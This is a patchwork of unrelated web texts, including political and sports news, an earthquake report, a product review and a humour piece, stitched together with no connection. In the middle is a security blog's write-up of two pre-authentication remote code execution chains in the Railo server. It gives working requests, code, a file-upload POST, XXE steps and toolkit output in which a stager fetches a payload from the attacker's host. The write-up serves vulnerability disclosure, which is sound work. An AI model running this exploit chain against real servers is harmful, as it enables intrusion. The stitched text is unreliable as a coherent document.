He added that he's not in the Trump camp. "I am not now and have never been a supporter of Donald Trump’s candidacy," he said in a statement. "I am NOT 'Pro-Trump.' "
The Lil Jon brouhaha caps off a bruising week for Trump, who has now been accused by 12 women of unwanted sexual advances. That list includes former Apprentice contestant Summer Zervos, who said Friday that she tried to get a job with Trump after her season ended and was invited to meet him at a hotel for dinner.
In a press conference with lawyer Gloria Allred, Zervos said that she went to meet Trump at a hotel bungalow and he “started kissing me open-mouthed.” She said she pulled away, but Trump kept trying to kiss her and asked her to lay down and watch TV with him.
Despite rejecting his sexual advances, Zervos said she still pursued a job with Trump, but he never offered one.
Trump said he "vaguely remembers" Zervos in a statement released Friday, but denied ever meeting her a hotel or that he "greeted her inappropriately."
Meanwhile, Trump, who has vociferously denied allegations of misconduct, has begun to tell crowds at campaign stops that the media and Hillary Clinton are conspiring against him.
"This whole thing is one big fix," Trump said in Greensboro Friday.
Contributing: Maria Puente, Cooper Allen and Eliza Collins
Google wouldn’t be blocking its own ads
How Google will implement this feature is still being debated, the report says. One option includes blocking all advertising on a website if it includes even just one offending ad, which would ensure that website owners keep all forms of advertising up to standard. The other option is simply to block the offending ads in question, though it’s unclear whether Google will go forth with either strategy. Google declined to comment for this story.
It may sound counterintuitive for a corporation whose entire business pretty much depends on internet advertising to consider an ad-blocking feature in the world’s most popular web browser. However, Google has a vested interest in ensuring web users don’t turn to third-party ad-blocking tools that don’t differentiate between acceptable and unacceptable ads by industry standards and, in some cases, charge website owners money to bypass ad-blocking filters, effectively defeating the purpose of using ad-blocking plugins in the first place.
The company has a history of disallowing or preventing what it sees as harmful ad practices, like blocking pop-ups in new tabs and issuing malware warnings. So in a way, Google appears to be taking additional steps to clean up advertising bad practices and keep users happy, even if it means throwing a healthy chunk of the lower-end ad market under the bus.
Sometimes our fandom was passed down to us like an inheritance and other times we chose it upon our arrival in a new city as a kid. No matter how we first became fans though, we’re all connected through this unique bond. We are one big, odd and oddly disgruntled family. And not to go all Dom Toretto on you, but you don’t turn your back on family when they’re in need.
See, my former coworker at the Suns DC Headley is suffering through an immensely trying time. His 13 year old son Noah has been in Phoenix Children’s Hospital since May 4th battling a rare disease. He was diagnosed with myasthenia gravis, a chronic autoimmune neuromuscular disease that causes weakness in the skeletal muscles responsible for breathing and the moving parts of the body, in 2015. He has been in and out of the hospital ever since and has overcome respiratory failure on three different occasions. His dad has been by his side every step of the way.
DC has been part of the Suns organization and by extension our Suns family for over two decades now. To put it in perspective, from the end of the Barkley era to Devin Booker’s 70 point game and every one in between, he’s been around. I was honored to have called him a co-worker and friend for five of those years. I can tell you DC is a private man and is probably embarrassed that we’re even talking about him, a trait most media relations people have. While he’d never want to be the story, I’ve also learned being around him that he’d do anything for his loved ones and especially his son.
That’s why he allowed the head of media relations, Julie Fie, to set up a Go Fund Me Page to tell Noah’s story and to help raise money to fight this terrible affliction.
I’m asking you to take whatever you can spare and share it with a member of our Suns family and his family in need.
While helping out the Noah and the Headley family should be reward enough, I’m also going to offer up something as well. For anyone who donated $5 or more and tweets me (@Espo) proof of their donation, I’ll be entering you into a giveaway for a pair of authentic game worn white 1992-93 Suns shorts and an autographed Grant Hill growth chart to two lucky fans picked at random.
Sports are fun and an escape from the harsh realities of life but they’re also a place where we connect with some amazing people in our lives. DC is one of those people for me and I’m hoping Suns fans around the globe will be generous enough to help he and Noah in their time of need.
Hauritz claimed 5-39 from 27 overs to be named man-of-the-match for the Blues to make sure the national selectors don't forget about him.
It wrapped up a good four days for NSW who took first innings points after making a solid 291 on the opening day with Nic Maddinson top-scoring with 72.
Doug Bollinger, who left the game after the second day to join the Australian Test team, claimed 3-32 to help bowl WA out for 205 before the Blues made 278 in their second innings with Steven Smith making 70 and Usman Khawaja 55.
Nick Perry, The Associated Press
WELLINGTON, New Zealand -- Two strong earthquakes struck the Solomon Islands on Sunday, triggering tsunami warnings, but there were no immediate reports of injuries or damage.
People throughout the Pacific island chain awoke to a strong quake at 7:14 a.m., government spokesman George Herming said. People on Makira and nearby islands southeast of the capital, Honiara, reported seeing three large waves after that temblor, he said.
The magnitude-7.6 quake's epicentre was 323 kilometres southeast of Honiara, at a depth of 29 kilometres (18 miles), according to the U.S. Geological Survey.
Following the morning quake, the Pacific Tsunami Warning Center cancelled a tsunami warning after issuing an alert for some Pacific islands. The centre reported that sea level readings indicated a small tsunami was generated that may have caused some destruction near the epicenter.
Late Sunday night, a magnitude-7.4 quake struck in the same area at a depth of 35 kilometres, the USGS said. The Pacific Tsunami Warning Center issued a warning for the Solomon Islands, Vanuatu and Papua New Guinea following that temblor.
The Solomon Islands, home to 600,000 people, was already reeling from devastating flash floods that struck Honiara and other areas April 3. The floods have killed 23 people and left 9,000 more homeless. Herming said up to 30 more people remain missing.
"It has really been a tough time," he said.
Andrew Catford, the Solomon Islands country director for World Vision, said after the morning quake that the aid group's staff in the Kirakira office in Makira province reported that there was no tsunami, but strong currents and heavy waves pounding the reefs. He said the group's staff evacuated to higher ground as a precaution.
"We felt this one strongly in Honiara. It was close to 30 seconds long," he said.
"Please update the Equality Florida press release that was posted on your blog, which leaves out SAVE Dade as one of the organizations that helped, so as to include us as one of the supporting organizations.
"Not sure why we didn’t make the list, $10k in in-kind contributions and 20 phone banks with over 175 volunteers for 3 months, I thought was a huge support."
Gainesville voters on Tuesday soundly rejected a charter amendment that would have repealed the city’s protections for gay, lesbian, bisexual and transgender people.
Here’s the statement by Equality Florida:
Equality Florida joins with local leaders in Gainesville and fair-minded people across the state and nation in celebrating today's decisive victory over discrimination and fear embodied in Gainesville Charter Amendment 1.
Voters rejected the amendment by a vote of 58% to 42%. If passed, Charter Amendment 1 would have repealed existing civil rights protections for Gainesville's gay and transgender community.
For over a year, backers of the amendment have waged a fear-based campaign filled with outright lies and media campaigns that dehumanized gay and transgender people. Specifically, these extremists drew a target on the backs of transgender people with bigoted messages intended to instill fear in the hearts of Gainesville citizens.
Led by Equality Is Gainesville's Business, a coalition of local, state and national organizations worked together to stop discrimination from being legalized in Gainesville.
The sweeping language of the ballot initiative, imported to Florida by a far right conservative group in Michigan, would have also prohibited the City of Gainesville from ever providing nondiscrimination protections beyond those listed in the Florida Civil Rights Act.
"Supporters of Charter Amendment 1 waged a campaign that blatantly lied to voters about the protections Gainesville has provided transgender citizens." said Joe Saunders EQGB campaign manager. "By targeting transgender people, proponents of Charter Amendment 1 have proven the need for inclusive anti-discrimination laws. Voter's embraced Gainesville's anti-discrimination laws tonight when they rejected Amendment 1."
Saunders is also the field director for Equality Florida.
"This is a local victory but it's significance reaches across our state and our nation. Those pushing Amendment 1 are part of a national effort to repeal LGBT protection in communities across the country," said Nadine Smith, executive director for Equality Florida. "This victory sends a strong signal that we will not allow extremists to turn back the progress we have made to secure equality for everyone."
The local team waged a strong grassroots campaign reaching voters and unmasking the real human impact of the proposed amendment.
"Today Gainesville voters showed that they value the rights of all citizens," said EQGB Chair and Gainesville City Commissioner Craig Lowe. "They have rejected the politics of fear and instead chose to retain the values that make our city such a beautiful place. Today, our voters showed their true character by emphasizing that, in Gainesville, every person matters."
A broad array of organizations came out to publicly oppose Charter Amendment 1. These organizations include: the Anti-Defamation League - Florida, the ACLU of Florida, Equality Florida, the Human Rights Campaign, the National Gay and Lesbian Task Force, the National Center for Transgender Equality, Lambda Legal, National Center for Lesbian Rights, Organizations United Together (O.U.T.), UM (University of Miami) for Equality, Florida Association of Planned Parenthood Affiliates, Florida NOW, Gainesville Area NOW, Judy Levy NOW PAC, Alachua County Democratic Party, Alachua County Green Party, Alachua County/Gainesville League of Women Voters, Alachua County NAACP, Gainesville Area Chamber of Commerce, Gainesville Area AIDS Project (GAAP), Gainesville Commission on the Status of Women, Human Rights Council of North Central Florida, Interweave, Unitarian Universalist Fellowship of Gainesville, North Central Florida Central Labor Council, Pride Center of North Central Florida, Social Justice Council of the Unitarian Universalist Fellowship of Gainesville, Trinity Metropolitan Community Church, United Church of Gainesville Social Concerns Committee, University of Florida Students for Change, Students for a Democratic Society @ UF, Wild Iris Books and Wild Words Café, University of Florida Faculty Senate, University of Florida Presidential LGBT Concerns, and University of Florida Student Senate.
Part two – post-auth rce
Part three – pre-auth password retrieval
Part four – pre-auth remote code execution
This post concludes our deep dive into the Railo application server by detailing not only one, but two pre-auth remote code execution vulnerabilities. If you’ve skipped the first three parts of this blog post to get to the juicy stuff, I don’t blame you, but I do recommend going back and reading them; there’s some important information and details back there. In this post, we’ll be documenting both vulnerabilities from start to finish, along with some demonstrations and notes on clusterd’s implementation on one of these.
The first RCE vulnerability affects versions 4.1 and 4.2.x of Railo, 4.2.1 being the latest release. Our vulnerability begins with the file thumbnail.cfm , which Railo uses to store admin thumbnails as static content on the server. As previously noted, Railo relies on authentication measures via the cfadmin tag, and thus none of the cfm files actually contain authentication routines themselves.
thumbnail.cfm first generates a hash of the image along with it’s width and height:
1 2 3 <cfset url.img=trim(url.img)> <cfset id=hash(url.img&"-"&url.width&"-"&url.height)> <cfset mimetypes={png:'png',gif:'gif',jpg:'jpeg'}>
Once it’s got a hash, it checks if the file exists, and if not, attempts to read and write it down:
1 2 3 4 5 6 7 8 9 10 11 12 13 <cffile action="readbinary" file="#url.img#" variable="data"> <cfimage action="read" source="#data#" name="img"> <!--- shrink images if needed ---> <cfif img.height GT url.height or img.width GT url.width> <cfif img.height GT url.height > <cfimage action="resize" source="#img#" height="#url.height#" name="img"> </cfif> <cfif img.width GT url.width> <cfimage action="resize" source="#img#" width="#url.width#" name="img"> </cfif> <cfset data=toBinary(img)> </cfif>
The cffile tag is used to read the raw image and then cast it via the cfimage tag. The wonderful thing about cffile is that we can provide URLs that it will arbitrarily retrieve. So, our URL can be this:
1 192.168.1.219:8888/railo-context/admin/thumbnail.cfm?img=http://192.168.1.97:8000/my_image.png&width=5000&height=50000
And Railo will go and fetch the image and cast it. Note that if a height and width are not provided it will attempt to resize it; we don’t want this, and thus we provide large width and height values. This file is written out to /railo/temp/admin-ext-thumbnails/[HASH].[EXTENSION] .
We’ve now successfully written a file onto the remote system, and need a way to retrieve it. The temp folder is not accessible from the web root, so we need some sort of LFI to fetch it. Enter jsloader.cfc .
jsloader.cfc is a Railo component used to fetch and load Javascript files. In this file is a CF tag called get , which accepts a single argument lib , which the tag will read and return. We can use this to fetch arbitrary Javascript files on the system and load them onto the page. Note that it MUST be a Javascript file, as the extension is hard-coded into the file and null bytes don’t work here, like they would in PHP. Here’s the relevant code:
1 2 3 4 5 6 7 8 <cfset var filePath = expandPath('js/#arguments.lib#.js')/> <cfset var local = {result=""} /><cfcontent type="text/javascript"> <cfsavecontent variable="local.result"> <cfif fileExists(filePath)> <cfinclude template="js/#arguments.lib#.js"/> </cfif> </cfsavecontent> <cfreturn local.result />
Let’s tie all this together. Using thumbnail.cfm , we can write well-formed images to the file system, and using the jsloader.cfc file, we can read arbitrary Javascript. Recall how log injection works with PHP; we can inject PHP tags into arbitrary files so long as the file is loaded by PHP, and parsed accordingly. We can fill a file full of junk, but if the parser has its way a single <?phpinfo();?> will be discovered and executed; the CFML engine works the same way.
Our attack becomes much more clear: we generate a well-formed PNG file, embed CFML code into the image (metadata), set the extension to .js , and write it via thumbnail.cfm . We then retrieve the file via jsloader.cfc and, because we’re loading it with a CFM file, it will be parsed and executed. Let’s check this out:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $ ./clusterd.py -i 192.168.1.219 -a railo -v4.1 --deploy ./src/lib/resources/cmd.cfml --deployer jsload clusterd/0.3.1 - clustered attack toolkit [Supporting 6 platforms] [2014-06-15 03:39PM] Started at 2014-06-15 03:39PM [2014-06-15 03:39PM] Servers' OS hinted at windows [2014-06-15 03:39PM] Fingerprinting host '192.168.1.219' [2014-06-15 03:39PM] Server hinted at 'railo' [2014-06-15 03:39PM] Checking railo version 4.1 Railo Server... [2014-06-15 03:39PM] Checking railo version 4.1 Railo Server Administrator... [2014-06-15 03:39PM] Checking railo version 4.1 Railo Web Administrator... [2014-06-15 03:39PM] Matched 2 fingerprints for service railo [2014-06-15 03:39PM] Railo Server Administrator (version 4.1) [2014-06-15 03:39PM] Railo Web Administrator (version 4.1) [2014-06-15 03:39PM] Fingerprinting completed. [2014-06-15 03:39PM] This deployer (jsload_lfi) requires an external listening port (8000). Continue? [Y/n] > [2014-06-15 03:39PM] Preparing to deploy cmd.cfml... [2014-06-15 03:40PM] Waiting for remote server to download file [5s]] [2014-06-15 03:40PM] Invoking stager and deploying payload... [2014-06-15 03:40PM] Waiting for remote server to download file [7s]] [2014-06-15 03:40PM] cmd.cfml deployed at /railo-context/cmd.cfml [2014-06-15 03:40PM] Finished at 2014-06-15 03:40PM
A couple things to note; as you may notice, the module currently requires the Railo server to connect back twice. Once is for the image with embedded CFML, and the second for the payload. We embed only a stager in the image that then connects back for the actual payload.
Sadly, the LFI was unknowingly killed in 4.2.1 with the following fix to jsloader.cfc :
1 2 3 4 <cfif arguments.lib CT ".."> <cfheader statuscode="400"> <cfreturn "// 400 - Bad Request"> </cfif>
The arguments.lib variable contains our controllable path, but it kills our ability to traverse out. Unfortunately, we can’t substitute the .. with unicode or utf-16 due to the way Jetty and Java are configured, by default. This file is pretty much useless to us now, unless we can write into the folder that jsloader.cfc reads from; then we don’t need to traverse out at all.
We can still pop this on Express installs, due to the Jetty LFI discussed in part 3. By simply traversing into the extensions folder, we can load up the Javascript file and execute our shell. Railo installs still prove elusive.
buuuuuuuuuuuuuuuuuuuuuuuuut
Recall the img.cfm LFI from part 3; by tip-toeing back into the admin-ext-thumbnails folder, we can summon our vulnerable image and execute whatever coldfusion we shove into it. This proves to be an even better choice than jsloader.cfc , as we don’t need to traverse as far. This bug only affects versions 4.1 – 4.2.1, as thumbnail.cfm wasn’t added until 4.1. CVE-2014-5468 has been assigned to this issue.
The second RCE vulnerability is a bit easier and has a larger attack vector, spanning all versions of Railo. As previously noted, Railo does not do per page/URL authentication, but rather enforces it when making changes via the <cfadmin> tag. Due to this, any pages doing naughty things without checking with the tag may be exploitable, as previously seen. Another such file is overview.uploadNewLangFile.cfm :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <cfif structKeyExists(form, "newLangFile")> <cftry> <cffile action="UPLOAD" filefield="form.newLangFile" destination="#expandPath('resources/language/')#" nameconflict="ERROR"> <cfcatch> <cfthrow message="#stText.overview.langAlreadyExists#"> </cfcatch> </cftry> <cfset sFile = expandPath("resources/language/" & cffile.serverfile)> <cffile action="READ" file="#sFile#" variable="sContent"> <cftry> <cfset sXML = XMLParse(sContent)> <cfset sLang = sXML.language.XMLAttributes.label> <cfset stInLang = GetFromXMLNode(sXML.XMLRoot.XMLChildren)> <cfcatch> <cfthrow message="#stText.overview.ErrorWhileReadingLangFile#"> </cfcatch> </cftry>
I mean, this might as well be an upload form to write arbitrary files. It’s stupid simple to get arbitrary data written to the system:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /railo-context/admin/overview.uploadNewLangFile.cfm HTTP/1.1 Host: localhost:8888 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8888/railo-context/admin/server.cfm Connection: keep-alive Content-Type: multipart/form-data; boundary=AaB03x Content-Length: 140 --AaB03x Content-Disposition: form-data; name="newLangFile"; filename="xxxxxxxxx.lang" Content-Type: text/plain thisisatest --AaB03x--
The tricky bit is where it’s written to; Railo uses a compression system that dynamically generates compressed versions of the web server, contained within railo-context.ra . A mirror of these can be found under the following:
1 [ROOT]\webapps\ROOT\WEB-INF\railo\temp\compress
The compressed data is then obfuscated behind two more folders, both MD5s. In my example, it becomes:
1 [ROOT]\webapps\ROOT\WEB-INF\railo\temp\compress\88d817d1b3c2c6d65e50308ef88e579c\0bdbf4d66d61a71378f032ce338258f2
So we cannot simply traverse into this path, as the hashes change every single time a file is added, removed, or modified. I’ll walk the logic used to generate these, but as a precusor, we aren’t going to figure these out without some other fashionable info disclosure bug.
The hashes are calculated in railo-java/railo-core/src/railo/commons/io/res/type/compress/Compress.java :
1 2 3 4 5 6 7 8 9 10 11 12 temp=temp.getRealResource("compress"); temp=temp.getRealResource(MD5.getDigestAsString(cid+"-"+ffile.getAbsolutePath())); if(!temp.exists())temp.createDirectory(true); } catch(Throwable t){} } if(temp!=null) { String name=Caster.toString(actLastMod)+":"+Caster.toString(ffile.length()); name=MD5.getDigestAsString(name,name); root=temp.getRealResource(name); if(actLastMod>0 && root.exists()) return;
The first hash is then cid + "-" + ffile.getAbsolutePath() , where cid is the randomly generated ID found in the id file (see part two) and ffile.getAbsolutePath() is the full path to the classes resource. This is doable if we have the XXE, but 4.1+ is inaccessible.
The second hash is actLastMode + ":" + ffile.length() , where actLastMode is the last modified time of the file and ffile.length() is the obvious file length. Again, this is likely not brute forcable without a serious infoleak vulnerability. Hosts <= 4.0 are exploitable, as we can list files with the XXE via the following:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 bryan@debdev:~/tools/clusterd$ python http_test_xxe.py 88d817d1b3c2c6d65e50308ef88e579c [SNIP - in which we modify the path to include ^] bryan@debdev:~/tools/clusterd$ python http_test_xxe.py 0bdbf4d66d61a71378f032ce338258f2 [SNIP - in which we modify the path to include ^] bryan@debdev:~/tools/clusterd$ python http_test_xxe.py admin admin_cfc$cf.class admin_cfm$cf.class application_cfc$cf.class application_cfm$cf.class component_cfc$cf.class component_dump_cfm450$cf.class doc doc_cfm$cf.class form_cfm$cf.class gateway graph_cfm$cf.class jquery_blockui_js_cfm1012$cf.class jquery_js_cfm322$cf.class META-INF railo_applet_cfm270$cf.class res templates wddx_cfm$cf.class
http_test_xxe.py is just a small hack I wrote to exploit the XXE, in which we eventually obtain both valid hashes. So we can exploit this in versions <= 4.0 Express. Later versions, as far as I can find, have no discernible way of obtaining full RCE without another infoleak or resorting to a slow, loud, painful death of brute forcing two MD5 hashes.
The first RCE is currently available in clusterd dev, and a PR is being made to Metasploit thanks to @BrandonPrry. Hopefully it can be merged shortly.
As we conclude our Railo analysis, lets quickly recap the vulnerabilities discovered during this audit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Version 4.2: - Pre-authentication LFI via `img.cfm` (Install/Express) - Pre-authentication LFI via Jetty CVE (Express) - Pre-authentication RCE via `img.cfm` and `thumbnail.cfm` (Install/Express) - Pre-authentication RCE via `jsloader.cfc` and `thumbnail.cfm` (Install/Express) (Up to version 4.2.0) Version 4.1: - Pre-authentication LFI via `img.cfm` (Install/Express) - Pre-authentication LFI via Jetty CVE (Express) - Pre-authentication RCE via `img.cfm` and `thumbnail.cfm` (Install/Express) - Pre-authentication RCE via `jsloader.cfc` and `thumbnail.cfm` (Install/Express) Version 4.0: - Pre-authentication LFI via XXE (Install/Express) - Pre-authentication LFI via Jetty CVE (Express) - Pre-authentication LFI via `img.cfm` (Install/Express) - Pre-authentication RCE via XXE and `overview.uploadNewLangFile` (Install/Express) - Pre-authentication RCE via `jsloader.cfc` and `thumbnail.cfm` (Install/Express) - Pre-authentication RCE via `img.cfm` and `thumbnail.cfm` (Install/Express) Version 3.x: - Pre-authentication LFI via `img.cfm` (Install/Express) - Pre-authentication LFI via Jetty CVE (Express) - Pre-authentication LFI via XXE (Install/Express) - Pre-authentication RCE via XXE and `overview.uploadNewLangFile` (Express)
They’ve even turned their Cabinet members loose, dispatching them across the country after previously keeping them under a gag order on the spending cuts. The White House put the Office of Management and Budget in charge of the messaging on the domestic side of the cuts for agencies, keeping agency heads on a short leash when it came to talking about sequester — leaving Obama to do most of the talking himself. The Cabinet trips suggest the White House realizes they need to bring new voices into the fight as both sides jockey to avoid getting blamed for the cuts in the closing days.
Currently leading the Cabinet member charge is Ray LaHood, who’s telling air travelers that their odds of dying of natural causes while waiting in line at security checkpoints are about to go up:
Outgoing Transportation Secretary Ray LaHood has a frightening message: Air travel could get worse. The Obama Cabinet member and former Republican congressman made a surprise appearance at Friday’s White House press briefing to warn that the looming automatic budget cuts set to go into effect on March 1 could lead to even longer air travel delays. “Travelers should expect delays of up to 90 minutes at peak airports during sequester,” starting on April 1, LaHood said. “It’s going to be very painful for the flying public.”
Maybe the lines would move faster if they’d call a moratorium on comprehensive screenings of wheelchair-bound little kids and their stuffed animals.
LaHood’s currently Obama’s favorite tool because he’s allegedly a Republican (any actual “Republican” would have resigned before agreeing to administer Cash for Clunkers).
And what good scare mongering would be complete without threats to the health of children?
The automatic spending cuts to the federal budget that will take place beginning March 1 unless sequestration is prevented could expose thousands of children to lead poisoning and other toxins, according to Housing and Urban Development Secretary Shaun Donovan. “Cuts to our office of healthy homes and lead hazard control and related programs would result in more than 3,000 of the most vulnerable children not being protected from lead poisoning or other hazards in their homes,” Donovan said Thursday at a hearing on the sequester portion of the Budget Control Act of 2012.
So we’ve got Obama pushing for $50 billion more in “stimulus” that apparently we can easily afford no matter what, but the same administration can’t find a way to shift a few dollars around in the budget “for the children”?
The upcoming days and weeks are sure to be a circus.
Update: Candy Crowley on CNN called out Ray LaHood big time this morning.
Slightly off topic, did you see Kyle Larson & company do their impression of the US economy in the age of Hope & Change at the Nationwide 300 yesterday?
View from the stands here.
CALGARY, Alberta – As Coyotes associate coach Jim Playfair drew on a whiteboard plastered to the boards during an off-day practice, winger Sergei Plotnikov stood behind many of his teammates to watch the lesson.
Plotnikov, who is Russian and was acquired Feb. 29 in a trade with the Penguins, speaks limited English, and the Coyotes have been using winger Viktor Tikhonov – who also speaks Russian – to translate when needed.
But once the explanation ended and players scattered to start the drill, Plotnikov skated off without needing any further instruction.
“My language’s definitely improved since the beginning of the season,” Plotnikov later said in Russian with Tikhovov translating. “I can definitely understand a lot more, almost everything.”
Russian is just one of a handful of languages spoken in the Coyotes dressing room with French, Swedish and Czech also often heard.
But despite the diversity, the Coyotes seem to have no problem communicating with each other with their passion for the sport uniting them on and off the ice.
“It’s cool to see that hockey or any sport can bring together so many people from so many countries,” Tikhonov said. “We kind of speak the same language on the ice by playing hockey, so it’s something that’s really cool the sport can do.”
MORE: Coyotes will evaluate Tinordi after season
Players might speak their first language with fellow countrymen in one-on-one conversations, but the unwritten rule says English is the preferred dialect in a team setting. This helps everyone feel included.
“People can sometimes get a little paranoid that people are talking about them,” defenseman Zbynek Michalek said. “So if you’re a bigger group, it’s just polite to speak English. But of course, it’s easier for all of us to speak our native language. You can express better, and it’s a little bit awkward or weird to speak to your countrymen in English.”
But players may have a little more freedom on the ice.
Actually, it’s there they might be able to use the words that are most familiar to help the team.
“I know with Marty (Hanzal) we can talk maybe before a faceoff what kind of play we’re going to run,” said Michalek, who’s from the Czech Republic. “ … I can talk to him in our language, and it’s an advantage because no one else understands what we’re saying.”
MORE: Download our Coyotes XTRA app iOS | Android
With players surrounded by so many different languages season to season, the dressing room can almost transform into a classroom.
Tikhonov is trading Russian words with goalie Louis Domingue in exchange for their French counterpart, and Michalek has also picked up some new terminology through the years.
“You learn the bad words first,” he said.
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As Plotnikov shows, players try to adapt and improve their English to help assimilate.
Defenseman Nicklas Grossmann said he had a teammate in the minors who was from the Czech Republic who carried a dictionary with him for two years.
“After two years, he could communicate,” Grossmann said.
The NHL attracts the top talent from all over the world, a melting pot of skill that widens the sport’s reach.
And each team is an extension of that harmony as players come together to chase the same ambition.
“That’s what hockey’s all about,” Michalek said. “It’s a big family. We get along pretty well for the most part and try to support each other no matter what. Knowing someone doesn’t speak English that well or English is not his first language, you try to help the guy out, try to make him feel comfortable.”
Injury update
Defenseman Oliver Ekman-Larsson missed his second straight game with a bruised shoulder.
“He was out there skating (Friday morning), which is a good sign,” coach Dave Tippett said. “But he won’t play. He’s still a few days away from playing.”
As for goalie Mike Smith, he continues to practice.
Smith has been out since having surgery on a core muscle injury in mid-December.
“We’re getting closer, but he’s gotta be the one to walk off and say, ‘I’m in,’” Tippett said. “Until that happens, that’s where we are.”
Ice chip
Head equipment manager Stan Wilson has left the team to be with family after a member of his family passed away this week.
Reach the reporter at sarah.mclellan@arizonarepublic.com or 602-444-8276. Follow her at twitter.com/azc_mclellan.
Saturday's game
Coyotes at Oilers
When: 8 p.m.
Where: Rexall Place, Edmonton, Alberta.
TV/radio: Fox Sports Arizona-Plus/KTAR-AM (620).
7 They Want Victory at All Costs
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Make a list of the people in your life for whom you would take a bullet. Would that list include your spouse? Your kids? Definitely. Your brothers and sisters, and your parents? Most likely. Some close friends? Probably. What about some completely random person you've never met? He's not the same age as you, he went to a different school, you listen to different kinds of music, he hates your haircut. The only thing you share is that you're both humans. Would you take a bullet for him? Would he take one for you? What if there was no bullet to take? Would you be willing kill yourself on the off chance that it might protect some stranger? No. Humans simply aren't like that.
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Which is why you're reading this while sitting on the corpses of the slain.
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But ants? Ants are absolutely like that. They don't give two shits about their lives, and we're not just talking about in wartime here.
WASHINGTON — In Maryland, fewer 911 calls are coming into Prince George’s County police about reckless drivers, which affects officers’ ability to patrol dangerous areas many commuters know well.
“It’s a really big help for people to call 911. Unfortunately, I think sometimes people assume someone else will pick up the phone,” said Cpl. Tyler Hunter with the Prince George’s County Police Department.
Crowd mentality tends to take over on the road and often the department won’t get calls about dangerous drivers, and then commuters wonder why the police aren’t nearby.
“We have an Intelligence Center which works to constantly evaluate historic crime, current crime, current trends / patterns, ‘hot spots,’ and other information including citizen complaints to adjust additional resources throughout our community in a rapid fashion,” Hunter said.
In short, the data collected from 911 calls and complaints help place officers where they need to be along the road.
Hunter said it’s especially important to call if there’s an all-terrain vehicle driver or person driving dangerously, but also if you’ve observed an incident that could help investigators determine what happened.
“It’s actually very beneficial to us cause everybody will see different thing sand will give us information and ultimately that will help us relay specifically where to place our enforcement efforts,” Hunter said.
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Seagate Duet Review
The Seagate Duet is a 1TB portable storage device that works with Amazon Drive to provide unlimited cloud storage. The Duet allows users to store up to 1TB of files, photos, videos, or music locally, as well as sync with the users Amazon Drive account. That way files are backed up on the device with a copy on the linked Amazon Drive account. This has two benefits: if anything happens to the Duet files are still safe and if users are without the drive itself, they can log into their Amazon account from various devices in order to share files.
More people are living on their mobile devices, phones and tablets and the thought of unlimited data has an increasing level of appeal. With all of the data that is being generated, one drawback is the limit of capacity on these devices. While there are a number of cloud backup and sync applications in the market, the Duet offers 1TB of local storage paired up with unlimited Amazon Drive storage. Users simply plug their Duet into a computer and they automatically sync files onto the drive. This adds another level of backup protection and enables users to access or add to their files when they lack Internet access, such as on planes.
The Seagate Duet is available exclusively through Amazon at $100. Buying the Duet gives users a 1-year free trial of Amazon Drive; it goes up to $59.99/year after that.
Seagate Duet specifications:
Capacity: 1TB
Interface: USB 3.0
System requirements: Mac OS X 10.10 or higher or Windows 8, Windows 7
Physical Length: 4.468in/113.5mm Width: 2.992in/76mm Depth: 0.378in/9.6mm Weight: 0.271lb/0.123kg
Warranty: 2-year limited
Design and Build
The Seagate Duet looks similar to the other small portable Seagate drives. The device is small enough to fit in the palm of one’s hand. The device only comes in black, with the top having both Seagate and Amazon Drive branding as well as an LED status light.
The bottom of the drive has an embossed Seagate logo taking up about 80% of the surface with information on the drive in the bottom right hand corner.
The front of the drive has the USB 3.0 interface.
Management
Managing the Duet and Amazon Drive is fairly simple. Plug the device into a computer and the user will be prompted to install with either Mac or Windows (for this review the software was installed on a 2011 Mac Mini). A wizard walks users through the setup that only takes a moment.
Once the setup is finished Users will see the icon pop up in their dashboard and will be prompted to sign into their Amazon Drive account or setup an account.
In the dashboard icon users will be asked to add a new device, the Duet. Once the Duet is added the dashboard icon then displays a screen with the user’s account, settings, and both the Amazon Drive and Duet and their status.
On the mobile device, users need only to download the app and enter their Amazon Drive password and they are ready to roll. To add photos, for instance, they need only go to the photo folder, hit add, select the photos they want, and then they will appear in the Amazon Drive account on any signed in device. From there, the items can be moved to the Duet or just saved to the Duet in the first place.
On the other end, users can open the Duet on their desktop and drag and drop files into it and seem them appear in the app. Or users can open the web browser with Amazon Drive and do the same.
Performance
For performance we ran IOMeter on our HP Z640 workstation. We compared the Seagate Duet to Seagate Backup Plus Ultra Slim. Both drives share similar designs although the Slim uses an SMR drive inside.
In our 2MB sequential the Duet was able to hit 129MB/s write and read. The Ultra Slim hit 40.9MB/s write and 124.27MB/s read. With our 2MB random the Duet was able to 99.8MB/s write and 81.7MB/s read compared to the Ultra Slim that hit 36.9MB/s write and 80.2MB/s read.
On 4k transfers the Duet gave us 270 IOPS write and 113.5 IOPS read.
Conclusion
With the Seagate Duet users can sync up files on their mobile devices using the Amazon Drive app, as well as retain physical backup. This allows them to move off extra files to free up room while retaining everything that is important to them on a portable drive and in the Amazon Drive cloud. The Duet costs just under $100, comes with a 2-year warranty, and a 1-year free trial of Amazon Drive (which runs about $60/year).
Looking at local performance, the drive performed well. In our 2MB sequential the drive hit 129MB/s for both read and write. With 2MB random, the Duet hit 81.7MB/s read and 99.8MB/s write. And in our 4K test, the Duet hit 270 IOPS write and 113.5 IOPS read. For a slightly more subjestive test, the actually syncing of the drive with the files added to the account took no longer than one would expected syncing with popular file sharing services such as Dropbox or G-Drive.
Pros
Easily portable
“Unlimited” storage with Amazon Drive
Gives users a physical backup
Cons
Large backups may take a long time to sync depending on internet connection speeds
The Bottom Line
The Seagate Duet gives users 1TB of extra space as well as the ability to sync the drive with their Amazon Drive account via simple to use application(s).
Seagate Duet at Amazon
Discuss this review
